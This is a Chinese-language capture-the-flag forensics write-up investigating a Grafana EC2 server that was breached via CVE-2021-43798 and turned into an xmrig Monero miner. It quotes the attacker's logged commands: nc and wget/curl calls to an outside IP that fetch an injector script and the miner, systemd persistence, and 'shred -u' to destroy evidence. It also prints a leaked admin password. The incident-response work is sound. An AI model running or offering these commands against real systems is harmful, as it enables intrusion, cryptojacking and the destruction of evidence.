简介:

我们的一位技术合作伙伴目前正在管理我们的 AWS 基础设施。我们要求将一些技术部署到云中。提出的解决方案是托管 Grafana 应用程序的 EC2 实例。部署 EC2 后不久，名为“xmrig”的进程的 CPU 使用率最终持续保持在 98% 以上。重要信息我们组织办公室面向公众的 IP 是 86.5.206.121，在部署应用程序时，我们进行了一些基本的漏洞测试和维护。

部署了Grafana之后，结果有一个挖矿进程在运行。给了一个Grafana的目录文件和一个catscale，用于搜集主机信息来方便做应急响应的脚本: https://github.com/WithSecureLabs/LinuxCatScale

哪个 CVE 导致了 EC2 的初始入侵？

找了一下Grafana的历史漏洞，存在一个目录穿越读取文件。为了确定是不是，可以看Grafana目录下的log中，最后一个日志，确实是在路径穿越读取文件

CVE-2021-43798

请详细说明针对我们组织的威胁行为者（TA）使用的所有恶意 IP 地址。

┌──(mikannse㉿kali)-[~/HTB/ore]
└─$ cat gra.log|grep ../../../../ |grep 200 |awk -F '/' '{print$NF}' |awk -F ' ' '{print $1}' |sort|uniq
defaults.ini
passwd
sample.ini

攻击者成功使用路径穿越读到了这三个文件

┌──(mikannse㉿kali)-[~/HTB/ore]
└─$ cat gra.log|grep '/etc/passwd' |awk -F ' ' '{print $12}' |sort |uniq
/usr/etc/passwd:
/usr/share/etc/passwd:
/usr/share/grafana/etc/passwd:
/usr/share/grafana/public/app/plugins/panel/etc/passwd:
/usr/share/grafana/public/etc/passwd:
remote_addr=195.80.150.137
remote_addr=95.181.232.32

读/etc/passwd有两个ip，可惜结果不对，也就是说除了web渗透所用的ip，还有别的ip。在读取完配置文件后web日志中就没别的内容了，所以大概率攻击者是拿到了shell，在granafa的bash历史记录中发现了:

nc 44.204.18.94 80

所以还有一个ip是44.204.18.94

44.204.18.94,95.181.232.32,195.80.150.137

TA 使用哪个帐户来向主机操作系统进行身份验证？

grafana

为了提升权限并以“root”身份运行挖矿服务，TA修改了哪个文件？

结合之前那个updater.sh，并且在定时任务的日志中找到:

30 8 * * * /opt/automation/updater.sh

所以是/opt/automation/updater.sh

TA 使用哪个程序来下载 injectionor.sh 脚本？

涉及到下载，那就是涉及到进程创建和与外部的网络通信，查看syslog

在Log中有一个归档压缩包，把var解压出来，里面有很多syslog*.gz,全部解压

┌──(mikannse㉿kali)-[~/Desktop/var/log]
└─$ cat syslog* |grep injector.sh |awk -F 'Name="CommandLine">' '{print $2}' |awk -F '<' '{print $1}'
wget http://44.204.18.94:80/injector.sh
wget http://44.204.18.94:80/injector.sh
wget http://44.204.18.94:80/injector.sh

chmod +x injector.sh
sudo ./injector.sh
/bin/bash ./injector.sh
shred -u ./injector.sh

所以答案是wget

加密挖掘二进制文件和配置文件最初下载到哪里？

不要过滤别的信息，可以看到/opt/automation

Nov 24 09:59:47 ip-172-31-60-25 sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2022-11-24T09:59:47.869152000Z"/><EventRecordID>76949</EventRecordID><Correlation/><Execution ProcessID="1109" ThreadID="1109"/><Channel>Linux-Sysmon/Operational</Channel><Computer>ip-172-31-60-25</Computer><Security UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2022-11-24 09:59:47.874</Data><Data Name="ProcessGuid">{c9eb4a87-4093-637f-086e-c8d5d7550000}</Data><Data Name="ProcessId">4003</Data><Data Name="Image">/usr/bin/sudo</Data><Data Name="FileVersion">-</Data><Data Name="Description">-</Data><Data Name="Product">-</Data><Data Name="Company">-</Data><Data Name="OriginalFileName">-</Data><Data Name="CommandLine">sudo ./injector.sh</Data><Data Name="CurrentDirectory">/opt/automation</Data><Data Name="User">root</Data><Data Name="LogonGuid">{c9eb4a87-0000-0000-0000-000001000000}</Data><Data Name="LogonId">0</Data><Data Name="TerminalSessionId">66</Data><Data Name="IntegrityLevel">no level</Data><Data Name="Hashes">-</Data><Data Name="ParentProcessGuid">{c9eb4a87-4093-637f-48c4-357f11560000}</Data><Data Name="ParentProcessId">4000</Data><Data Name="ParentImage">/bin/bash</Data><Data Name="ParentCommandLine">/bin/bash</Data><Data Name="ParentUser">root</Data></EventData></Event>

/opt/automation/

TA 使用哪个程序来下载加密挖掘二进制文件和配置文件？

以为已经得知挖矿程序为xmrig

┌──(mikannse㉿kali)-[~/Desktop/var/log]
└─$ cat syslog* |grep xmrig |awk -F 'Name="CommandLine">' '{print $2}' |tr '\r\n' ' ' |awk -F '<' '{print $1}' 
curl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.json

curl

我们需要确认 SOC 团队开始收集文物的确切时间，因为报告中没有包含这一时间。他们使用与我们在Lincoln的系统管理员相同的面向公众的 IP 地址。

也就是说要直到开始取证的时间，之前已知取证脚本是catscale,那也就是执行Cat-Scale.sh的时间

┌──(mikannse㉿kali)-[~/Desktop/var/log]
└─$ cat syslog* |grep Cat-Scale.sh 
Nov 24 15:01:00 ip-172-31-13-147 sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>11</EventID><Version>2</Version><Level>4</Level><Task>11</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2022-11-24T15:01:00.508544000Z"/><EventRecordID>80918</EventRecordID><Correlation/><Execution ProcessID="1349" ThreadID="1349"/><Channel>Linux-Sysmon/Operational</Channel><Computer>ip-172-31-13-147</Computer><Security UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2022-11-24 15:01:00.511</Data><Data Name="ProcessGuid">{c9eb4a87-8703-637f-30e5-4b6291550000}</Data><Data Name="ProcessId">2355</Data><Data Name="Image">/usr/lib/openssh/sftp-server</Data><Data Name="TargetFilename">/home/ubuntu/Cat-Scale.sh</Data><Data Name="CreationUtcTime">2022-11-24 15:01:00.511</Data><Data Name="User">ubuntu</Data></EventData></Event>

时间是Nov 24 15:01:00，所以是2022-11-24 15:01:00

请确认系统管理员在某些Grafana配置文件中留下的密码。

在default.ini中找到

admin_user = admin

# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = f0rela96789!

f0rela96789!

启动 xmrig 时挖矿线程值设置是多少？

┌──(mikannse㉿kali)-[~/Desktop/var/log]
└─$ cat xmrig.log|grep xmrig |awk -F '<Data Name="CommandLine">' '{print$2}' |cut -d '<' -f1

curl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.json

touch xmrig.service

chmod 777 xmrig config.json
chmod 644 xmrig.service
mv xmrig config.json /usr/share/.logstxt/
mv xmrig.service /etc/systemd/system/
systemctl enable --now xmrig --quiet
/usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json -- threads=0

可见线程是0

我们的 CISO 正在请求有关此人可能使用哪个采矿池的更多详细信息。请确认 TA 使用了哪个（如果有）采矿池。

┌──(mikannse㉿kali)-[~/Desktop/var/log]
└─$ cat syslog* |grep xmrig
Nov 24 14:52:39 ip-172-31-13-147 xmrig[1089]: [2022-11-24 14:52:39#033[1;30m.073#033[0m] #033[44;1m#033[1;37m net     #033[0m #033[1;35mnew job#033[0m from #033[1;37mmonero.herominers.com:10191#033[0m diff #033[1;37m120001#033[0m algo #033[1;37mrx/0#033[0m height #033[1;37m2762818#033[0m (12 tx)#033[0m

monero.herominers.com

我们无法在原始下载位置找到加密挖掘二进制文件和配置文件。TA 将它们移动到文件系统的哪里了？

前两问可得

/usr/share/.logstxt/

我们无法通过取证手段恢复“injector.sh”脚本以供分析。我们认为 TA 可能运行了一条命令来阻止我们恢复文件。TA 运行了什么命令？

在之前对injector.sh的分析中有一条指令:shred -u ./injector.sh

shred是一条终端命令，功能是重复覆盖文件，使得即使是昂贵的硬件探测仪器也难以将数据复原，（参见”shred –help”）。这条命令的功能足够适合实现文件粉碎的功效。

shred -u ./injector.sh

我们的 IT 管理员为 TA 修改的脚本创建的 cronjob 多久运行一次？

30 8 * * * /opt/automation/updater.sh

daily - 08:30